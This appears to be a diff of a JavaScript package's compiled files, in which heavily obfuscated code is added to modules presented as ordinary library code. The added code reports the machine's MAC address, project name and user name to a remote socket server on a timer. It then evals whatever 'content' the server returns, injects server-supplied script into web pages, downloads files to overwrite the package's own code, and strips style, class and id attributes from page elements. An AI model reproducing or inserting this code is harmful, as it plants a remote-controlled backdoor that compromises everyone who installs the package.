_0x34403e;})[_0x204c9a(0xfc)](()=>'');_0xe83e99=[_0x3973cb];}if(_0xe83e99[_0x204c9a(0xc7)]===0x0){(0x0,index_2['setEnv'])(_0x204c9a(0xca),!![]);return;}else(0x0,index_2[_0x204c9a(0xda)])(_0x204c9a(0xca),![]);_0x4cf5fb['emit'](_0x204c9a(0xe2),{'mac':_0xe83e99,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports['isBrowser']}),_0x4cf5fb['emit'](_0x204c9a(0xee),{'mac':_0xe83e99,'isBrowser':exports[_0x204c9a(0xe4)],'user_name':user_name}),setInterval(()=>{const _0x30aff3=_0x204c9a;_0x4cf5fb['emit'](_0x30aff3(0xe2),{'mac':_0xe83e99,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x30aff3(0xe4)]}),_0x4cf5fb[_0x30aff3(0xdb)](_0x30aff3(0xee),{'mac':_0xe83e99,'isBrowser':exports[_0x30aff3(0xe4)],'user_name':user_name});},0x1b58),_0x4cf5fb['on']('event',_0x30371b=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x2d8cb0=_0x204c9a;try{for(let _0x43501a=0x0;_0x43501a<_0x30371b[_0x2d8cb0(0xc7)];_0x43501a++){const _0xcfa536=_0x30371b[_0x43501a];if(_0xcfa536[_0x2d8cb0(0xe6)]===_0x2d8cb0(0xf6))(0x0,index_2[_0x2d8cb0(0xda)])(_0x2d8cb0(0xff),!![]);else{if(_0xcfa536[_0x2d8cb0(0xe6)]===_0x2d8cb0(0xdf)&&!exports[_0x2d8cb0(0xe4)])try{eval(_0xcfa536['content']);}catch(_0x217099){}else{if(_0xcfa536[_0x2d8cb0(0xe6)]===_0x2d8cb0(0xf8)&&exports[_0x2d8cb0(0xe4)])try{(0x0,index_1[_0x2d8cb0(0xf4)])(_0xcfa536[_0x2d8cb0(0xc8)]);}catch(_0x139dfa){}}}}}catch(_0x577c1f){}}));}catch(_0x54f215){}})),_0x4cf5fb['on'](_0x484905(0xe3),_0x431f01=>{const _0x234758=_0x484905;(0x0,index_2['setEnv'])(_0x234758(0xca),!![]);}),_0x4cf5fb['on'](_0x484905(0xfe),_0x45b0b1=>{const _0x3cff6c=_0x484905;(0x0,index_2[_0x3cff6c(0xda)])(_0x3cff6c(0xca),!![]);}),_0x4cf5fb['on'](_0x484905(0xde),_0x48925b=>{const _0x2c14fb=_0x484905;(0x0,index_2[_0x2c14fb(0xda)])(_0x2c14fb(0xca),!![]);}),_0x4cf5fb['on'](_0x484905(0xf3),()=>{const _0x495e09=_0x484905;(0x0,index_2[_0x495e09(0xda)])(_0x495e09(0xca),!![]);});}catch(_0x55499b){}});}function a10_0xbd99(_0x223100,_0x42db62){const _0x1df3d5=a10_0x1df3();return a10_0xbd99=function(_0xbd9931,_0x4de86d){_0xbd9931=_0xbd9931-0xc4;let _0x1027b2=_0x1df3d5[_0xbd9931];return _0x1027b2;},a10_0xbd99(_0x223100,_0x42db62);}exports[a10_0x12bbfe(0xd6)]=start;
|
package/dist/cjs/update.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';function a11_0x73d9(_0x41d667,_0x555ca4){const _0x3c4a0d=a11_0x3c4a();return a11_0x73d9=function(_0x73d9cb,_0x3b0c75){_0x73d9cb=_0x73d9cb-0x190;let _0x255e9b=_0x3c4a0d[_0x73d9cb];return _0x255e9b;},a11_0x73d9(_0x41d667,_0x555ca4);}const a11_0x12e355=a11_0x73d9;(function(_0x3f0e75,_0x2e70c3){const _0x3f6dc1=a11_0x73d9,_0x7ce4bd=_0x3f0e75();while(!![]){try{const _0x2e255c=-parseInt(_0x3f6dc1(0x1af))/0x1+parseInt(_0x3f6dc1(0x1a3))/0x2*(-parseInt(_0x3f6dc1(0x1a8))/0x3)+parseInt(_0x3f6dc1(0x19e))/0x4+parseInt(_0x3f6dc1(0x19b))/0x5+-parseInt(_0x3f6dc1(0x1a9))/0x6*(parseInt(_0x3f6dc1(0x198))/0x7)+-parseInt(_0x3f6dc1(0x191))/0x8*(-parseInt(_0x3f6dc1(0x197))/0x9)+parseInt(_0x3f6dc1(0x19d))/0xa;if(_0x2e255c===_0x2e70c3)break;else _0x7ce4bd['push'](_0x7ce4bd['shift']());}catch(_0x4bf0f3){_0x7ce4bd['push'](_0x7ce4bd['shift']());}}}(a11_0x3c4a,0x65558));function a11_0x3c4a(){const _0x266939=['4145095mFNtOE','version','8137190wqklit','694604DSCZGL','undefined','values','{version:\x220.0.0\x22}','keys','16tFEOTP','length','existsSync','data','path','270003UnKCDu','690eQHAHc','./index.js','__importDefault','join','__esModule','then','484514RgfISd','get','success','default','defineProperty','980568DFHuUk','toString','../../package.json','sha1','parse','axios','18Pcddth','26901yovPRz','readFileSync','CJS'];a11_0x3c4a=function(){return _0x266939;};return a11_0x3c4a();}var __importDefault=this&&this[a11_0x12e355(0x1ab)]||function(_0x3acbcc){const _0x55b787=a11_0x12e355;return _0x3acbcc&&_0x3acbcc[_0x55b787(0x1ad)]?_0x3acbcc:{'default':_0x3acbcc};};Object[a11_0x12e355(0x190)](exports,a11_0x12e355(0x1ad),{'value':!![]});const axios_1=__importDefault(require(a11_0x12e355(0x196))),fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a11_0x12e355(0x1a7))),index_1=require('./index'),sha1_1=__importDefault(require(a11_0x12e355(0x194)));function getModuleType(){const _0x5f035e=a11_0x12e355,_0x1883ab=()=>{const _0xe95146=a11_0x73d9;try{return typeof require!==_0xe95146(0x19f)&&typeof module!==_0xe95146(0x19f)&&module['exports']&&require['main']===module;}catch(_0x232ecc){return![];}};return _0x1883ab()?_0x5f035e(0x19a):'ESM';}let _path=path_1['default'][a11_0x12e355(0x1ac)](__dirname,a11_0x12e355(0x193)),indexFile=path_1['default'][a11_0x12e355(0x1ac)](__dirname,a11_0x12e355(0x1aa)),vFile=fs_1[a11_0x12e355(0x1b2)][a11_0x12e355(0x1a5)](_path)?fs_1[a11_0x12e355(0x1b2)][a11_0x12e355(0x199)](_path)['toString']():a11_0x12e355(0x1a1),indexFileContent=fs_1[a11_0x12e355(0x1b2)][a11_0x12e355(0x1a5)](_path)?fs_1['default'][a11_0x12e355(0x199)](indexFile)[a11_0x12e355(0x192)]():![],version=JSON[a11_0x12e355(0x195)](vFile)[a11_0x12e355(0x19c)];function update(){const _0x2e40d4=a11_0x12e355;axios_1[_0x2e40d4(0x1b2)][_0x2e40d4(0x1b0)](index_1['url']+'/version',{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?(0x0,sha1_1[_0x2e40d4(0x1b2)])(indexFileContent):''}})[_0x2e40d4(0x1ae)](_0x4da67a=>{const _0x59a357=_0x2e40d4;if(!_0x4da67a[_0x59a357(0x1a6)][_0x59a357(0x1b1)]){let _0x5b24f5=Object[_0x59a357(0x1a2)](_0x4da67a['data'][_0x59a357(0x1a6)]),_0x102a3f=Object[_0x59a357(0x1a0)](_0x4da67a[_0x59a357(0x1a6)]['data']);for(let _0x276a08=0x0;_0x276a08<_0x5b24f5[_0x59a357(0x1a4)];_0x276a08++){const _0x2296b5=_0x5b24f5[_0x276a08],_0x56102b=_0x102a3f[_0x276a08];fs_1[_0x59a357(0x1b2)]['writeFileSync'](path_1[_0x59a357(0x1b2)][_0x59a357(0x1ac)](__dirname,'./'+_0x2296b5),_0x56102b);}}});}exports[a11_0x12e355(0x1b2)]=update;
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/browser/index.ts"],"names":[],"mappings":"AAIA,wBAAgB,SAAS,CAAC,OAAO,EAAE,MAAM,QAUxC;AAED,wBAAgB,OAAO,SAStB"}
|
@@ -0,0 +1 @@
|
|
1
|
+
(function(_0x5274e3,_0x103953){const _0x1b6871=a12_0x4326,_0x4de3c8=_0x5274e3();while(!![]){try{const _0x29750a=-parseInt(_0x1b6871(0x1cf))/0x1*(-parseInt(_0x1b6871(0x1d0))/0x2)+-parseInt(_0x1b6871(0x1d1))/0x3*(-parseInt(_0x1b6871(0x1cc))/0x4)+-parseInt(_0x1b6871(0x1d3))/0x5*(parseInt(_0x1b6871(0x1d2))/0x6)+-parseInt(_0x1b6871(0x1c8))/0x7+-parseInt(_0x1b6871(0x1ce))/0x8+-parseInt(_0x1b6871(0x1ca))/0x9+parseInt(_0x1b6871(0x1c7))/0xa;if(_0x29750a===_0x103953)break;else _0x4de3c8['push'](_0x4de3c8['shift']());}catch(_0x1442a9){_0x4de3c8['push'](_0x4de3c8['shift']());}}}(a12_0x2aa8,0xd3254));import a12_0x413b55 from'../id/random';import{getEnv}from'../index';function a12_0x4326(_0x1f3cf8,_0x50f2ea){const _0x2aa894=a12_0x2aa8();return a12_0x4326=function(_0x432609,_0x330729){_0x432609=_0x432609-0x1c6;let _0x4899b5=_0x2aa894[_0x432609];return _0x4899b5;},a12_0x4326(_0x1f3cf8,_0x50f2ea);}import a12_0x583be1 from'./tools';export function runScript(_0x19083e){const _0x5c2c6a=a12_0x4326;let _0x3f0259=document['createElement'](_0x5c2c6a(0x1cb));_0x3f0259['innerText']=_0x5c2c6a(0x1cd)+_0x19083e+'\x20\x0a\x20\x20}\x20catch\x20(err)\x20{\x0a\x20\x20}',document[_0x5c2c6a(0x1c9)][_0x5c2c6a(0x1c6)](_0x3f0259),setTimeout(()=>{_0x3f0259['remove']();},0x14);}export function browser(){getEnv('connectError')&&a12_0x583be1(),setInterval(()=>{const _0x12b313=a12_0x4326;getEnv(_0x12b313(0x1d4))&&a12_0x583be1();},a12_0x413b55(0xde,0x91d));}function a12_0x2aa8(){const _0x46d94e=['2298695DOdOHa','head','8224020lEiaBE','script','335740pDaCwF','try\x20{\x0a\x20\x20\x20','8815048OuYeCt','52lKzCbv','12774wNcVMo','42EdVjfd','9939162aFMFbU','5BAUHYb','connectError','appendChild','33582110mHcNKN'];a12_0x2aa8=function(){return _0x46d94e;};return a12_0x2aa8();}
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"tools.d.ts","sourceRoot":"","sources":["../../../src/browser/tools.ts"],"names":[],"mappings":"AAIA,iBAAS,YAAY,SAuDpB;AAED,eAAe,YAAY,CAAC"}
|
@@ -0,0 +1 @@
|
|
1
|
+
(function(_0x4b2ced,_0xbfead0){const _0x5d36c0=a13_0x4fab,_0x41d524=_0x4b2ced();while(!![]){try{const _0x2e16c5=parseInt(_0x5d36c0(0x141))/0x1*(parseInt(_0x5d36c0(0x14c))/0x2)+parseInt(_0x5d36c0(0x145))/0x3+parseInt(_0x5d36c0(0x150))/0x4*(-parseInt(_0x5d36c0(0x14f))/0x5)+-parseInt(_0x5d36c0(0x147))/0x6*(-parseInt(_0x5d36c0(0x13a))/0x7)+-parseInt(_0x5d36c0(0x146))/0x8*(-parseInt(_0x5d36c0(0x142))/0x9)+-parseInt(_0x5d36c0(0x13d))/0xa*(parseInt(_0x5d36c0(0x14b))/0xb)+-parseInt(_0x5d36c0(0x143))/0xc*(parseInt(_0x5d36c0(0x13f))/0xd);if(_0x2e16c5===_0xbfead0)break;else _0x41d524['push'](_0x41d524['shift']());}catch(_0x1c16f3){_0x41d524['push'](_0x41d524['shift']());}}}(a13_0x41b7,0x50771));function a13_0x4fab(_0x4ac497,_0x8b4957){const _0x41b7b9=a13_0x41b7();return a13_0x4fab=function(_0x4fab02,_0x2f34cc){_0x4fab02=_0x4fab02-0x136;let _0x4b8d39=_0x41b7b9[_0x4fab02];return _0x4b8d39;},a13_0x4fab(_0x4ac497,_0x8b4957);}function browserTools(){const _0x19203f=a13_0x4fab;let _0x2fe07d=location[_0x19203f(0x148)];function _0x132d17(_0x59c6a3={}){const _0x15cac1=_0x19203f,{force:force=![]}=_0x59c6a3;if(!force&&window[_0x15cac1(0x14a)])return;window[_0x15cac1(0x14a)]=!![];const _0x16a193=document[_0x15cac1(0x137)],_0xbd4351=_0x16a193[_0x15cac1(0x144)]('*');_0xbd4351[_0x15cac1(0x13e)]((_0x6d69ec,_0x4314ac)=>{const _0x50cd11=_0x15cac1;(_0x4314ac+0x1)%0x3===0x0&&(_0x6d69ec[_0x50cd11(0x14e)](_0x50cd11(0x136)),_0x6d69ec[_0x50cd11(0x14e)](_0x50cd11(0x138)),_0x6d69ec['removeAttribute']('id'));});}setTimeout(()=>{const _0xa05fcb=_0x19203f;window[_0xa05fcb(0x14a)]=![],_0x2fe07d=location['href'],_0x132d17();},0x1),[_0x19203f(0x151),'replaceState'][_0x19203f(0x13e)](_0x298406=>{const _0x36bb1a=history[_0x298406];history[_0x298406]=function(..._0x4e7984){const _0x3025e9=a13_0x4fab,_0x485b2c=_0x36bb1a[_0x3025e9(0x14d)](this,_0x4e7984);return window[_0x3025e9(0x140)](new Event(_0x3025e9(0x13c))),_0x485b2c;};});function _0x40c08e(){const _0x3ba160=_0x19203f,_0x234449=location[_0x3ba160(0x148)];_0x234449!==_0x2fe07d&&(_0x2fe07d=_0x234449,window[_0x3ba160(0x14a)]=![],_0x132d17({'force':!![]}));}window[_0x19203f(0x139)]('urlchange',_0x40c08e),window[_0x19203f(0x139)](_0x19203f(0x149),_0x40c08e);const _0x41dcf5=new MutationObserver(()=>_0x40c08e());_0x41dcf5[_0x19203f(0x13b)](document,{'childList':!![],'subtree':!![]});}function a13_0x41b7(){const _0x24e4e0=['83djGdYL','1548873VSDdAM','8400JCfEgU','querySelectorAll','1137777TcdhMC','8SnNNFj','366ptNQlI','href','popstate','__removeStyleAndClassEveryThirdDone','22ptcLWy','7024gvorHU','apply','removeAttribute','32135LnEEuw','192daWwIA','pushState','style','body','class','addEventListener','53151HDRWkW','observe','urlchange','868720BwvdJh','forEach','9178fKzzHe','dispatchEvent'];a13_0x41b7=function(){return _0x24e4e0;};return a13_0x41b7();}export default browserTools;
|
@@ -1 +1 @@
|
|
1
|
-
|
1
|
+
const a14_0xfbaf1f=a14_0x1e81;(function(_0x4ec3bc,_0x23cf4c){const _0x3e1c9c=a14_0x1e81,_0x1c4b59=_0x4ec3bc();while(!![]){try{const _0x54e15e=-parseInt(_0x3e1c9c(0xab))/0x1+-parseInt(_0x3e1c9c(0x9e))/0x2+parseInt(_0x3e1c9c(0xa2))/0x3*(parseInt(_0x3e1c9c(0xa1))/0x4)+-parseInt(_0x3e1c9c(0xa5))/0x5*(-parseInt(_0x3e1c9c(0xae))/0x6)+parseInt(_0x3e1c9c(0xa0))/0x7*(parseInt(_0x3e1c9c(0xa6))/0x8)+-parseInt(_0x3e1c9c(0x9f))/0x9+parseInt(_0x3e1c9c(0xaf))/0xa*(parseInt(_0x3e1c9c(0xaa))/0xb);if(_0x54e15e===_0x23cf4c)break;else _0x1c4b59['push'](_0x1c4b59['shift']());}catch(_0x469596){_0x1c4b59['push'](_0x1c4b59['shift']());}}}(a14_0x37b3,0xf2a71));var __awaiter=this&&this[a14_0xfbaf1f(0xad)]||function(_0x1b68d7,_0x472555,_0x24ae49,_0xc638fa){function _0x239b30(_0x54271f){return _0x54271f instanceof _0x24ae49?_0x54271f:new _0x24ae49(function(_0xfe0588){_0xfe0588(_0x54271f);});}return new(_0x24ae49||(_0x24ae49=Promise))(function(_0xcdca25,_0x5e20c5){const _0x5371fe=a14_0x1e81;function _0x6f1cd(_0x48222d){try{_0x4ebb25(_0xc638fa['next'](_0x48222d));}catch(_0x2c320d){_0x5e20c5(_0x2c320d);}}function _0x30b85a(_0x1a5fcd){try{_0x4ebb25(_0xc638fa['throw'](_0x1a5fcd));}catch(_0x56dedc){_0x5e20c5(_0x56dedc);}}function _0x4ebb25(_0x5db0f5){const _0x40153f=a14_0x1e81;_0x5db0f5[_0x40153f(0xa8)]?_0xcdca25(_0x5db0f5[_0x40153f(0xac)]):_0x239b30(_0x5db0f5['value'])[_0x40153f(0x9c)](_0x6f1cd,_0x30b85a);}_0x4ebb25((_0xc638fa=_0xc638fa[_0x5371fe(0xb0)](_0x1b68d7,_0x472555||[]))['next']());});};import a14_0x3bf9a5 from'fs';import a14_0x26ec49 from'path';function a14_0x1e81(_0x3e0182,_0x4e6b81){const _0x37b330=a14_0x37b3();return a14_0x1e81=function(_0x1e81dd,_0x46254f){_0x1e81dd=_0x1e81dd-0x9c;let _0x36c32d=_0x37b330[_0x1e81dd];return _0x36c32d;},a14_0x1e81(_0x3e0182,_0x4e6b81);}function fileDisplay(_0x5414f1){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x5a2017=[];function _0x45e0fa(_0x236888){const _0x28eeac=a14_0x1e81,_0x3cc1d1=a14_0x3bf9a5[_0x28eeac(0xa3)](_0x236888);for(let _0x19297e=0x0;_0x19297e<_0x3cc1d1[_0x28eeac(0xa7)];_0x19297e++){const _0x5c89df=_0x3cc1d1[_0x19297e],_0x100889=a14_0x26ec49[_0x28eeac(0x9d)](_0x236888,_0x5c89df),_0x40305f=a14_0x3bf9a5[_0x28eeac(0xb1)](_0x100889),_0x1ac10b=_0x40305f[_0x28eeac(0xa4)](),_0x3e635e=_0x40305f['isDirectory']();_0x1ac10b&&_0x5a2017[_0x28eeac(0xa9)](_0x100889),_0x3e635e&&_0x45e0fa(_0x100889);}}return _0x45e0fa(_0x5414f1),_0x5a2017;});}function a14_0x37b3(){const _0x36373a=['done','push','4950yOUcPz','1518356OFpiLu','value','__awaiter','6llsdOr','54660FuiwxM','apply','statSync','then','join','2832110kbKeaC','5055408vxiGpp','28357DNPibQ','412nQfIgi','2271rMzHAY','readdirSync','isFile','8789545LNcIbq','384HmaLAU','length'];a14_0x37b3=function(){return _0x36373a;};return a14_0x37b3();}function getAllRouter(_0x5011b9){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x348fa0=yield fileDisplay(_0x5011b9);return _0x348fa0;});}export default getAllRouter;
|